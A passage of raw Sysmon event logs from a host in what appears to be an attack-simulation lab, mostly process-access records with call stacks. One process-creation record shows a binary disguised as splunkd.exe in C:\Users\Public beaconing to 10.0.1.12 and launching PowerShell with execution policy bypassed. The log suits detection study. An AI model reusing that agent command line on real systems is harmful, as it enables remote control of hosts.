09:08:46.424{A5F018FF-272D-5F80-0C00-000000007E01}5723360C:\Windows\system32\svchost.exe{A5F018FF-2729-5F80-0700-000000007E01}716C:\Windows\system32\wininit.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eacf|c:\windows\system32\lsm.dll+163fd|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+d69b2|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000621Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:46.424{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2729-5F80-0700-000000007E01}716C:\Windows\system32\wininit.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eacf|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000620Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:46.424{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2729-5F80-0700-000000007E01}716C:\Windows\system32\wininit.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eacf|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000619Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:46.424{A5F018FF-272D-5F80-0C00-000000007E01}5723360C:\Windows\system32\svchost.exe{A5F018FF-2729-5F80-0700-000000007E01}716C:\Windows\system32\wininit.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eacf|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+19ab3|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000618Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:46.424{A5F018FF-272D-5F80-0C00-000000007E01}5723360C:\Windows\system32\svchost.exe{A5F018FF-2729-5F80-0700-000000007E01}716C:\Windows\system32\wininit.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eacf|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+1a375|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000617Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:46.424{A5F018FF-272D-5F80-0C00-000000007E01}5723360C:\Windows\system32\svchost.exe{A5F018FF-2729-5F80-0700-000000007E01}716C:\Windows\system32\wininit.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eacf|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000616Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:46.424{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2729-5F80-0700-000000007E01}716C:\Windows\system32\wininit.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eacf|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+5d917|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000615Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:46.424{A5F018FF-272D-5F80-0C00-000000007E01}5723360C:\Windows\system32\svchost.exe{A5F018FF-2729-5F80-0700-000000007E01}716C:\Windows\system32\wininit.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eacf|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000614Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:46.424{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2729-5F80-0700-000000007E01}716C:\Windows\system32\wininit.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eacf|c:\windows\system32\lsm.dll+163fd|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+d69b2|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000613Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:46.424{A5F018FF-272D-5F80-0C00-000000007E01}5723360C:\Windows\system32\svchost.exe{A5F018FF-2729-5F80-0700-000000007E01}716C:\Windows\system32\wininit.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eacf|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000612Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:46.424{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2729-5F80-0700-000000007E01}716C:\Windows\system32\wininit.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eacf|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+19ab3|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001649Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.976{A5F018FF-28C4-5F80-2600-000000007F01}30283048C:\Windows\system32\conhost.exe{A5F018FF-28CF-5F80-3900-000000007F01}3716C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001648Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.975{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001647Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.975{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001646Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.975{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001645Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.975{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001644Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.975{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001643Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.975{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001642Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.975{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001641Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.975{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001640Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.974{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001639Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.974{A5F018FF-28BC-5F80-0500-000000007F01}6442396C:\Windows\system32\csrss.exe{A5F018FF-28CF-5F80-3900-000000007F01}3716C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000001638Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.974{A5F018FF-28C4-5F80-2500-000000007F01}30202140C:\Users\Public\splunkd.exe{A5F018FF-28CF-5F80-3900-000000007F01}3716C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Users\Public\splunkd.exe+5c36e 154100x80000000000000001637Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.974{A5F018FF-28CF-5F80-3900-000000007F01}3716C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe10.0.14393.206 (rs1_release.160915-0644)Windows PowerShellMicrosoft® Windows® Operating SystemMicrosoft CorporationPowerShell.EXEpowershell.exe -ExecutionPolicy Bypass -C lgfjytC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453{A5F018FF-28C4-5F80-2500-000000007F01}3020C:\Users\Public\splunkd.exe"C:\Users\Public\splunkd.exe" -socket 10.0.1.12:7010 -http http://10.0.1.12:8888 -contact tcp 10341000x80000000000000001636Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.936{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001635Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.936{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001634Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 